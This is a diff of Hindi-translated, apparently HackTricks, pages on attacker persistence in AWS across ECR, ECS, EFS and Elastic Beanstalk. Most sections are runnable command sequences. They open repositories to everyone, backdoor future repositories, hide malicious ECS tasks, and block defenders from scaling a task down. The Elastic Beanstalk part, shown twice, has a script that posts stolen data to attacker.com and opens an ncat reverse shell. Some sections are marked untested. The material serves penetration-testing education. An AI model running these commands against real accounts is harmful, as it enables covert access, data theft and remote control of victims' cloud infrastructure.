|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
|
||||
|
||||
### Repository Policy
|
||||
|
||||
एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि ECR को उपयोगकर्ताओं के लिए **अनुमति** की आवश्यकता होती है कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें।
|
||||
|
||||
### रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति
|
||||
|
||||
एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको **बाहरी खाते** को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं।
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
पहले, आपको रजिस्ट्री पर बाहरी खाते को **रजिस्ट्री नीति** के माध्यम से पहुंच प्रदान करनी होगी जैसे:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### छिपा हुआ Docker Image जिसमें malicious code
|
||||
|
||||
एक attacker **upload a Docker image containing malicious code** करके उसे एक ECR repository में रख सकता है और target AWS account में persistence बनाए रखने के लिए use कर सकता है। attacker फिर इस malicious image को account के विभिन्न services, जैसे Amazon ECS या EKS, में stealthy तरीके से deploy कर सकता है।
|
||||
|
||||
### Repository नीति
|
||||
|
||||
एक single repository में अपने लिए (या सभी के लिए) किसी repository तक access देने वाली एक policy जोड़ें:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि ECR यह आवश्यक करता है कि उपयोगकर्ताओं के पास IAM पॉलिसी के माध्यम से **`ecr:GetAuthorizationToken`** API को कॉल करने की **अनुमति** हो **पहले कि वे किसी रजिस्ट्री में authenticate कर सकें** और किसी भी Amazon ECR रिपॉज़िटरी से इमेज push या pull कर सकें।
|
||||
|
||||
### रजिस्ट्री नीति और क्रॉस-एकाउंट रेप्लिकेशन
|
||||
|
||||
क्रॉस-एकाउंट रेप्लिकेशन कॉन्फ़िगर करके किसी बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जहाँ आपको **उस बाहरी खाते को निर्दिष्ट करना** होगा जिसमें आप रजिस्ट्री की प्रतिकृति बनाना चाहते हैं।
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सबसे पहले, आपको रजिस्ट्री पर बाहरी खाते को एक्सेस देने के लिए इसी तरह की एक **registry policy** देनी होगी:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
फिर replication config लागू करें:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (भविष्य के repos के लिए prefix backdoor)
|
||||
|
||||
ECR Repository Creation Templates का दुरुपयोग करके किसी नियंत्रित prefix के अंतर्गत ECR द्वारा स्वचालित रूप से बनाए जाने वाले किसी भी repository में स्वतः backdoor लगा सकते हैं (उदाहरण के लिए Pull-Through Cache या Create-on-Push के माध्यम से)। इससे मौजूदा repos को छुए बिना भविष्य के repos पर लगातार अनाधिकृत पहुँच मिल जाती है।
|
||||
|
||||
- आवश्यक अनुमति: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template द्वारा उपयोग), iam:PassRole (यदि template से कोई custom role जुड़ा हो)।
|
||||
- प्रभाव: लक्षित prefix के तहत बनाई गई कोई भी नई repository स्वतः attacker-controlled repository policy (उदा., cross-account read/write), tag mutability, और scanning defaults को inherit कर लेती है।
|
||||
|
||||
<details>
|
||||
<summary>चुने हुए prefix के तहत भविष्य में PTC द्वारा बनाए गए repos में backdoor लगाएँ</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
एक हमलावर एक मौजूदा ECS टास्क परिभाषा में एक **छिपा हुआ बैकडोर कंटेनर** जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को बंद करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,151 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### छिपा हुआ आवर्ती ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण करें
|
||||
|
||||
एक हमलावर Amazon EventBridge का उपयोग करके एक छिपा हुआ आवर्ती ECS task बना सकता है ताकि वह **एक दुर्भावनापूर्ण task के निष्पादन को आवधिक रूप से निर्धारित कर सके**। यह task reconnaissance कर सकता है, data exfiltrate कर सकता है, या AWS account में persistence बनाए रख सकता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण
|
||||
|
||||
एक हमलावर मौजूदा ECS task definition में एक **छिपा हुआ backdoor container** जोड़ सकता है जो वैध containers के साथ-साथ चलता है। यह backdoor container persistence बनाए रखने और दुष्ट गतिविधियाँ करने के लिए इस्तेमाल किया जा सकता है।
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### अदस्तावेज़ ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण
|
||||
|
||||
एक attacker एक **अदस्तावेज़ ECS service** बना सकता है जो एक हानिकारक task चलाता है। इच्छित tasks की संख्या न्यूनतम पर सेट करके और logging को अक्षम करके, administrators के लिए हानिकारक service को नोटिस करना कठिन हो जाता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
ecs:UpdateTaskProtection का दुरुपयोग करके service tasks को scale‑in events और rolling deployments द्वारा रोका जाने से बचाया जा सकता है। रक्षा की अवधि को लगातार बढ़ाते हुए, एक हमलावर लंबे समय तक चलने वाले टास्क को चलाता रख सकता है (C2 या डेटा संग्रहण के लिए), भले ही रक्षात्मक पक्ष desiredCount घटा दे या नई task revisions पुश कर दे।
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
प्रभाव: एक protected task desiredCount=0 होने के बावजूद RUNNING बनी रहती है और नए deployments के दौरान replacements को ब्लॉक कर देती है, जिससे ECS service के भीतर stealthy long‑lived persistence सक्षम हो जाती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS स्थिरता
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### संसाधन नीति / सुरक्षा समूहों को संशोधित करें
|
||||
|
||||
**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को स्थायी बनाने का प्रयास कर सकते हैं।
|
||||
|
||||
### पहुँच बिंदु बनाएँ
|
||||
|
||||
आप **एक पहुँच बिंदु बना सकते हैं** (जिसमें `/` पर रूट पहुँच हो) जिसे एक सेवा से पहुँचा जा सके जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थिरता** लागू की है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
आप **resource policy and/or security groups** को संशोधित करके फ़ाइल सिस्टम में अपनी पहुँच को स्थायी करने का प्रयास कर सकते हैं।
|
||||
|
||||
### Create Access Point
|
||||
|
||||
आप उस service से पहुँचने योग्य एक **create an access point** (root access `/` के साथ) बना सकते हैं, जहाँ आपने **other persistence** लागू की हो, ताकि फ़ाइल सिस्टम तक विशेषाधिकार वाली पहुँच बनी रहे।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Instance में Persistence
|
||||
|
||||
AWS खाते के अंदर स्थिरता बनाए रखने के लिए, कुछ **स्थिरता तंत्र को Instance के अंदर पेश किया जा सकता है** (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और IAM भूमिका **क्रेडेंशियल्स को मेटाडेटा सेवा से चुरा सके**।
|
||||
|
||||
### Version में Backdoor
|
||||
|
||||
एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे।
|
||||
|
||||
### नया बैकडोर वाला संस्करण
|
||||
|
||||
वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर वाला संस्करण तैनात कर सकता है।
|
||||
|
||||
### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को एक्सफिल्ट्रेट करने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
AWS account के अंदर persistence बनाए रखने के लिए, कुछ **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) ताकि हमलावर उसे access करके IAM role **credentials from the metadata service** चुरा सके।
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
एक हमलावर S3 repo के अंदर code में backdoor डाल सकता है ताकि यह हमेशा उसका backdoor और expected code दोनों execute करे।
|
||||
|
||||
### New backdoored version
|
||||
|
||||
असल version के code को बदलने के बजाय, हमलावर application की एक नया backdoored version deploy कर सकता है।
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk lifecycle hooks प्रदान करता है जो आपको instance provisioning और termination के दौरान custom scripts चलाने की अनुमति देते हैं। एक हमलावर **lifecycle hook configure कर सकता है ताकि वह periodically एक script execute करे जो exfiltrates data या AWS account तक access बनाए रखे।**
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
